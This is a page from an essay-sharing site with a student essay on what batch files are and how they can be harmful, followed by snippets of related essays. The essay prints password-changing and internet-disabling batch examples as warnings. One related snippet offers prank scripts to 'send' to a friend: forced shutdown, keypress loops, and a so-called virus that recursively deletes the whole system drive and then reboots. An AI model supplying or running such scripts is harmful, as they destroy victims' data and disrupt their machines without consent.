Free Essay

Batch Files

In: Computers and Technology

Submitted By berlinno22
Words 710
Pages 3
Batch Files: What is it and its harm

Devry University

The early business computers systems developed in the 1950’s showed how efficient they were by processing large group of records. They did all of this in batches. In the 1960s, computer engineers introduced interactive terminals. This would allow users to input for the very first time. Now today, even with use of laptops, home computers, and mobile devices. Most of the business and organizations still use some type of batch file processing for most of their applications. A batch file is a collection of commands that are processed in a certain order sometimes requiring the user to input information. With a computer using an operating system like Windows. A batch file is stored in a .bat file extension format. Most other operating systems may determine a batch file in a command file, using two or more commands that are processed one right after another. Just to perform the task at hand. Batch files are normally used to load programs, run different task at one time, and to perform repetitive tasks. An example of a batch file could be to back up files from different computers to a storage device or run the diagnostics on a system or process some type of log files. Batch files can start working at any time and can be left completely alone until the process is finished. The one of the main advantages to using batch files is the accessibility. A person can make the file entry themselves and later can view the results. And if you change your mind and reenter an entry value or that you might find a mistake and fix it before you finish submitting the entry. There are more advantages to using batch files. Another advantage is the speed that a batch file can provide. If it is done correctly it can perform the task a hundred times faster than it would take someone to do the exact same task. Also, batch file have logic in them. So they can react to the problem and make judgment call right then. The logic in these files does have the flexibility to react to unanticipated situations. Batch files do have some disadvantages to using them. Some files can be inadvertently downloaded from another computer. And then the file can be installed and run on another computer when it is scheduled too. Another disadvantage does not always know who created the file. There at millions of batch file commands on the internet. Some of the files could be viruses or malware that could harm your system.
Change user pass.
@echo off
::--Change Pass To InShadow--:: net user %username% InShadow
Figure 1
[color=#FF0000]Disable Internet.
@echo off
::-----Disable Internet------:: ipconfig /release if ERRORLEVEL1 ipconfig /release_all
Figure 2 The two file shown above are examples of hacking batching files. Both files can harm the users system. It is very important to know where the batch file is coming from and its purpose. There are some fixes to batch to help to with this problem of security. One solution is to secure your batch file. After you saved your batch file to its location, you can then go to file properties and change the security settings. You can add a group of authenticated users to file, give different permissions to allow access to the file, and even give it a password. These are just a few ways in order to help protect batch file. Also know who made the file. If it did not come from or the company you wanted to make the file do not use it. Batch files are good tool to help save time and perform a many different tasks. With all of the advantages that batch files bring in doing daily computer function. We must remember and be watchful for the dangers and harm that they can do.


Barett, J.T Advantages & Disadvantages of Batch & Online Input Methods Computer Hope Batch File and Batch Job
Hacking Freaks Some More Dangerous .Bat Files

Similar Documents

Premium Essay

Installing Server Roles with a Batch File

...Course Objectives and Learning Outcomes In this assignment, you will evaluate how to perform post-installation tasks, including the installation of roles with Server Manager and how to create batch files to manage administrative tasks. Assignment Requirements Evaluate the following scenario: After careful consideration, it was decided by the corporate IT team that in order to increase security and lower your attack surface, Windows 2008 Server Core would be installed on a group of your servers. However, a few roles need to be installed on the server, and your Senior Administrator is not familiar with installing roles on a Server Core machine. Use notepad to create a batch file to install the following roles: DHCP, DNS, Print Services and Hyper-V. Questions: 1. What does the /w switch do? Why is it used? 2. What switch is used to remove a role? 3. What is the command to start the DHCP Server service? 4. What command is used to configure a DNS zone? These commands will be entered in a WordPad. Once entered the file will be saved has roles.bat. double clicking on the file will run it automatically /w ocsetup DHCPServerCore /w ocsetup DNS-Server-Core-Role /w ocsetup Microsoft-Hyper-V /w ocsetup Printing-ServerCore-Role 1. What does the /w switch do? Why is it used? Using /w prevents the command prompt from returning until the installation completes. Without /w, there is no indication that the installation completed. 2. What switch......

Words: 314 - Pages: 2

Free Essay


...ECHO command has several different uses. MS DOS batch files use two echo 'modes'. The default echo mode is ECHO ON. When ECHO is set to ON, every command in the batch file is displayed to the screen before it is run. Sometimes this information is not required, and can even be downright annoying for larger batch files. The command ECHO OFF sets the batch echo mode to OFF. In this mode, the commands are not printed to the screen prior to their execution. As well as the echo modes, the ECHO command is used to print a message to the user. Messages are displayed to the user by preceding a line of text with ECHO. | Syntax | ECHO MODE ON : ECHO ON ECHO MODE OFF : ECHO OFF DISPLAY A MESSAGE : ECHO message | Typical Use | The command @ECHO OFF is almost always placed at the top of a batch file to switch off subsequent command echo. ECHO is also the only way a batch file can communicate information to a user. | Example | @ECHO OFF ECHO Please insert a disk in drive A: and press any key when ready. | Command | REM (short for remark) | Description | REM is the MS DOS batch file method of providing comments. Comments are lines of code which are not executed by the batch file, but rather are used to convey information about the workings of the batch file itself. Good batch file programming practice demands a comment at the head of every batch file explaining its use and syntax. Comments can also be put in other parts of the file to clarify ambiguous commands and to......

Words: 1676 - Pages: 7

Free Essay

Basics of Dos

...version of MS-DOS or Windows command line. Clicking on the command will open the help page for that command with full details about it. Command ansi.sys append arp assign assoc at atmadm attrib batch bootcfg break cacls call cd chcp chdir chdsk chkntfs choice cls Description Defines functions that change display graphics, control cursor movement, and reassign keys. Causes MS-DOS to look in other directories when editing a file or running a command. Displays, adds, and removes arp information from network devices. Assign a drive letter to an alternate letter. View the file associations. Schedule a time to execute commands or programs. Lists connections and addresses seen by Windows ATM call manager. Display and change file attributes. Recovery console command that executes a series of commands in a file. Recovery console command that allows a user to view, modify, and rebuild the boot.ini Enable and disable CTRL + C feature. View and modify file ACL's. Calls a batch file from another batch file. Changes directories. Supplement the International keyboard and character set information. Changes directories. Check the hard drive running FAT for errors. Check the hard drive running NTFS for errors. Specify a listing of multiple options within a batch file. Clears the screen. Type File External External External Internal External Internal External Recovery Recovery Internal External Internal Internal External Internal External External External Internal 1 of......

Words: 1535 - Pages: 7

Free Essay

Creating Batch Files

...Tara Thomas Assignment 3.1 Topologies Topologies as described in the book are physical layout of the elements of the telecommunications cabling system structure. The first topology is the hierarchical star which is a single cable connects each machine to central device. The advantage is that the utilization of a switch port is typically 90% or greater, all connections configured at a central location making reconfiguration ,trouble- shooting simpler, It reduces power and the HVAC requirements, also lowers cost with switches and ports, and the switch makes the intelligent decisions. The disadvantages is a break in the cable results in communication failure at only one host, limited to devices, single point failure. Universal it’s the easiest of the three networking architectures to cable. The bus topology is the simplest network also known as a linear bus. In this topology all computers are connected to a contiguous cable to a cable joined together. This is how it works each computer listens only for the transmission form other computers; they do not repeat or forward the transmission on the other computers. The signal travels to both ends of the cable. Advantages single cable connects all machines; each machine links to the cable using a T connector, each end of the cable requires a terminator. Disadvantage a break in the cable results in the total communication failure. The next topology is a ring which is when all computers are connected in a contiguous circle...

Words: 324 - Pages: 2

Free Essay


...OF THEZE ARE TO BE TYPED IN NOTEPAD... --- --- --- --- --- --- --- --- --- 1) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them! Type : Code: Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Save it as "Anything.VBS" and send it. 2) Convey your friend a little message and shut down his / her computer: Type : Code: @echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s Save it as "Anything.BAT" in All Files and send it. 3) Toggle your friend's Caps Lock button simultaneously: Code: Set wshShell =wscript.CreateObject("WScript.Shel l") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as "Anything.VBS" and send it. 4) Frustrate your friend by making this VBScript hit Enter simultaneously: Type : Code: Set wshShell = wscript.CreateObject("WScript.Shell ") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Save it as "Anything.VBS" and send it. 5)This Virus Deletes All The Content Of A Drive... @echo off del %systemdrive%*.* /f /s /q shutdown -r -f -t 00 Save The Above Code As Anything.bat 6)This Will Crash Ur Computer Option Explicit Dim WSHShell Set......

Words: 800 - Pages: 4

Free Essay

Business Communications Memo Template

...questions that the writers have for us. With all of the letters being sorted into 5 different categories, I was able to write an adequate response for each of those 5 categories to send out in a bulk method. Why has the NCAA not banned the use of metal bats? : * First and foremost make sure to apologize for their unfortunate experience and assure them that changes have been made to protect the safety of the players involved. * Explain in detail the efforts made by the BBCOR to ensure the approval of only certain bats that meet its requirements. * Ensure the writer that each and every bat that is available for use in the league that it will be stamped with a NCAA certification mark. * Outside research and lack of change/action taken by the NCAA to change regulations: * Start out by acknowledging their effort to write a letter to us and tell them that we are always looking for ways to better the safety efforts and standards for the players. * The writer’s information may be outdated, because the BBCOR regulations of 2014 have made a significant change in the “trampoline effect” and are much safer than they were in prior years. * Each and every bat must be approved and the facts can be checked at our website as well as the following link to show that changes have indeed been made and we are continuing to do so… *

Words: 892 - Pages: 4

Free Essay

Night Owl

...My name is Hunter Powell and my Science Fair Project is to determine which type of baseball bat is best. Aluminum or wood? In my personal opinion aluminum is best because they are lighter and easier to swing. Aluminum bats are lighter therefore you can swing it faster than a wood bat. It also has a wider sweet spot so the ball come off the bat faster. An aluminum bat may or may not hit further – depending on the batter, but the batter will have more control of the bat because it is lighter. Wooden bats are heavier so they have less recoil. A wooden bat moving at the same speed of an aluminum bat will hit harder. If the batter can get the bat moving fast the ball will go further, that’s if he makes contact. Wooden bats also do not vibrate as much which is better for the batters hands. When the NCAA approved the use of aluminum bats in 1974 they started to compare statistics. They found that the team batting averages went up about twenty points, and home runs doubled. The main reason wooden bats are required in the pros is because of this performance difference. “Pro leagues want to protect their historical records, and they want the performance of the game to be the result of human ability, rather than the technology of the bats,” says George Manning. The bottom line is that non-wood bats do lead to higher batted ball speeds and this means harder line drives and deeper fly balls. They are much easier to swing and because it is lighter you have better control of......

Words: 348 - Pages: 2

Premium Essay

Wood Bats in High School and College

...Wood bats are safer for high school and college; however metal bats have better performance. With the ball speed off of the bat as the big safety issue for high school and college, wood bats have a slower speed than metal bats do. With every solution there is a problem to the solution; wood bats do not produce like metal bats do. The game play is different with each bat. The changes that the National Federation of State High School Associations (NFHS) and the NCAA make for bats for play will have an effect for upcoming students. In High school and college the players get to use metal bats instead of wood. The performance of metal bats is a lot higher than wood. That is why college and high school use metal instead of wood bats. Metal bats have a higher ball speed off the bat, which is the safety issue that the NCAA and the NFHS have right now. There is a new standard for baseball bats which took effect in 2011 which is the Batted Ball Coefficient of Restitution (BBCOR) bats. They have almost the same ball speed off of the bat as a wood bat does, but the metal bat has a bigger sweet spot. A sweet spot is the part of the bat that will give the biggest trampoline effect to the baseball. Metal bats have made scoring runs in high school and college a lot easier than wood bats. The BBCOR bats have had a slight decline in runs and hits unlike the Ball Exit Speed Ratio (BESR) bats. The change from BESR bats to BBCOR happened in 2011. BESR bats had to high of a ball exit speed off......

Words: 912 - Pages: 4

Free Essay

Ncaa Memo

...To: Mike Smith, Supervisor From: Max Christ, McKenzie Botcher, Alivia Roscoe Date: January 30, 2013 Subject: How to Respond to the NCAA Baseball Bat Standards Complaints Overview Template Table Below we have created a table with responses to the letters. We have organized it by: the complaints, responses, and sources to where we have found our information. Arguments in the letter | Potential responses | Research backing the responses | How could you risk my son's life by not changing the standards for bats immediately when your tests showed that a player cannot react quickly enough to avoid a ball batted by one of these high tech bats? The NCAA should be ashamed. I am writing my congressman. | The NCAA has already attempted to change the standards a year ago, but ultimately the company would be sued by one of our top manufacturers (Easton), which directed the company to limit the performance of all composite bats. Also, the miles per hour from an average hit off of a composite bat are 93.3mph whereas for a wooden bat, the power of the bat generates an average of 86.1mph. Although this statistic was provided by Brown University and was set forth over a decade ago, the standards have been drastically been shaped to allow for much safer composite bats than in previous years. | | What are the results of your research in the area of bat technology?I saw a show on Fox Sports Net in the Spring that made some claims that not only are batted balls faster than......

Words: 684 - Pages: 3

Premium Essay

Operational Management Simulation

...many performance indicators for the success of a business. This include brand identity, reputation, innovation, leadership, productivity, process management, customer satisfaction, and quality to name a few. Management at Benihana can achieve maximum profitability by maximizing utilization, throughput time, making use of batching, designing of the bar and catering to the optimum number of customers. By varying the hours of operation and carefully balancing operation costs, they can meet customers’ demands and yet maximize overall profit. Batching The first decision to see if the restaurant is served with no-batching policy, will it be a better strategy. Running tests against both scenarios (batch and no-batch), it shows that Benihana is already doing well by staying with the batch policy. Using batching, Benihana improves the average utilization of the dining room capacity from 45% to 57%. They can serve a 275 dinners using less tables (35) compared with no batching which only could have catered to only 204 dinners using more tables (46). With less tables to serve the costs of serving drinks and dinner is substantially lowered, driving down total costs. Higher revenue (from extra sales) and lower costs increases profits. Bar-restaurant design The bar concept in Benihana is a good model because not only it allows customers a place to hang out while waiting for their table to be ready for seating, it also serves as an extra source of revenue. In fact, the......

Words: 1231 - Pages: 5

Free Essay


...Trans European plastics: What is TEP? * Manufacturer of plastic household items * Europe’s largest * More than 500 different types of products * Orders are dispatched within 24 hours * 24 large injection moulding machines Problem with TEP: * Current high demand for many products leads to a backlog of work for planned stock replenishment Why is TEP unable to delivery within one week? * Increasing demand for many products * Enlarged range of products * Unflexible re order quantities * This might affect distributors due to a loss of confidence What batch size would you recommend? * EBQ- economic batch quantities * * * How long will each batch take to produce: * 8571/90 * = 95,23 hours * + 3 hours * = 98,23 hours How many batches per year will be made? * 50.000/8.571 * = 5,833 * 6 batches per year What happens if the costs decreases by 50% and the holding costs increases by 40%? What internal problems result from the current planning and control policies? Analyse stock turns and availability e.g. high and low levels * From the table we can tell that the physical inventory is less that the re order quantity Would the Pareto analysis be useful for categorizing and controlling? * Pareto analysis is a statistical technique in decision making used for the selection of al imited number of tasks that produce significant overall effect. It uses the pareto......

Words: 363 - Pages: 2

Free Essay


...Stitching and Lasting Cutting, Department considering a 100 pair batch i b t h 10 pair batch? CUTTING DEPARTMENT 100 pair batch Capacity, CT and MLT CUTTING DEPARTMENT 100 pair batch Cutting Shoe leather 4* (5.25 100*0 05) 4 (5 25 + 100 0.05) = 41 minutes Leathe rSheets Cut Linings 4* (5.00 + 100*0.05) = 40 minutes Cut insole 4* (4 00 + 100*0.04) = 32 (4.00 100*0 04) minutes There are three parallel operations each of which cuts 100 of four different Shoe operations, components (creating 1200 pieces in 100 pair batch), each of which requires Four die changes CUTTING DEPARTMENT 100 pair batch Cutting Shoe leather 4* (5.25 100*0 05) 4 (5 25 + 100 0.05) = 41 minutes Leathe rSheets Cut Linings 4* (5.00 + 100*0.05) = 40 minutes Cut insole 4* (4 00 + 100*0.04) = 32 (4.00 100*0 04) minutes Capacity = 480/41 = 11 7 batches = 1170 pairs of shoe per shift 11.7 MLT = 41 minutes. Cycle time = 41 minutes CUTTING DEPARTMENT 10 pair batch Capacity, CT and MLT CUTTING DEPARTMENT 10 pair batch Cutting Shoe leather 4* (5.25 4 (5 25 + 10 * 0 05) = 0.05) 23 minutes Leathe rSheets Cut Linings 4* (5.00 + 10 * 0.05) = 22 minutes Cut insole 4* (4 00 + 10 * 0.04) = (4.00 0 04) 17.6 minutes Capacity = 480/23 = 20 9 batches = 209 pairs of shoe per shift 20.9 MLT = 23 minutes. Cycle Time = 23 minutes CUTTING DEPARTMENT While changing from a 100 pair batch to a 10 pair batch, batch the MLT declines 44 % but the capacity %, declines a whooping......

Words: 2314 - Pages: 10

Free Essay


...| 1,312,368 | 3 | makebigmoney | 1,141,686 | 4 | beaters123 | 895,405 | 5 | donothing | 588,054 | 6 | mas001 | 472,296 | Exhibit 1 : OVERALL TEAM STANDING Decisions Made A summary of the rationale behind the key decisions made would perhaps best explain the results we achieved. . Decision 1 Day | Parameter | Value | 54 | station 1 machine count | 2 | When the exercise started, we decided that when the lead time hit 1 day, we would buy one station 1 machine based on our analysis that station 1 takes the longest time which is 0.221 hrs simulation time per batch. (Exhibit 2: Average time per batch of each station). As day 7 and day 8 have 0 job arrivals, we used day 1-6 figures to calculate the average time for each station to process 1 batch of job arrivals. Base on the average time taken to process 1 batch of job arrivals, we were able to figure out how many batches each machine can handle. day | number of jobs arriving each day | utilization of station 1, averaged over each day | utilization of station 2, averaged over each day | utilization of station 3, averaged over each day | 1 | 2 | 0.433 | 0.079 | 0.019 | 2 | 2 | 0.272 | 0.158 | 0.108 | 3 | 1 | 0.398 | 0.106 | 0.165 | 4 | 0 | 0 | 0.052 | 0 | 5 | 2 | 0.33 | 0.079 | 0.06 | 6...

Words: 1324 - Pages: 6

Premium Essay

Operation and Logistic Management

...organizational objectives of effectiveness, efficiency and adaptability. Production function is that part of an organization, which is concerned with the transformation of a range of inputs into the required outputs (products) having the requisite quality level. Production is defined as “the step-by-step conversion of one form of material into another form through chemical or mechanical process to create or enhance the utility of another form through chemical or mechanical process to create or enhance the utility of processing, there will be value addition. Batch production is a technique used in manufacturing, in which the object in question is created stage by stage over a series of workstations, and different batches of products are made. Batch production is most common in bakeries. The Baking Company system called batching to make the dough with which they bake their cookies. According to the case study, batch processing is used when a moderate value...

Words: 486 - Pages: 2

Free Essay


...Q.1 a) There are various processing methods in terms of accounting. Processing method refers to the system through a data related to accounting or any other field is gathered in order to generate meaningful analysis and results from that data. The two most important processing methods are batch processing and online real time processing. The basic difference between the two methods is that of time frequency with which the data is entered in to the system for information purposes. Under batch processing the data is assembled in batches, and then it is entered into system for processing. E.g. a company may like to record its inventory at the end of every month. So instead of taking inventory and processing it into system daily, the inventory is recorded every day and at the end of the month, the entire “batch” of inventory is recorded in the system for processing. While in the online real time processing the transaction is processed or entered in to the system as soon as the transaction is done. The best example of online real time processing is the ATM Card or Debit Card. As soon as a transaction takes place on the ATM, it is recorded and is processed right on the spot. Thus in online real time processing the actual balance perfectly reflects the current position. Q.1 b) The grandfather-father-son technique refers to the data backup technique. In grandfather-father-son technique the data backup is maintained in such a way that if the most recent data backup is lost...

Words: 818 - Pages: 4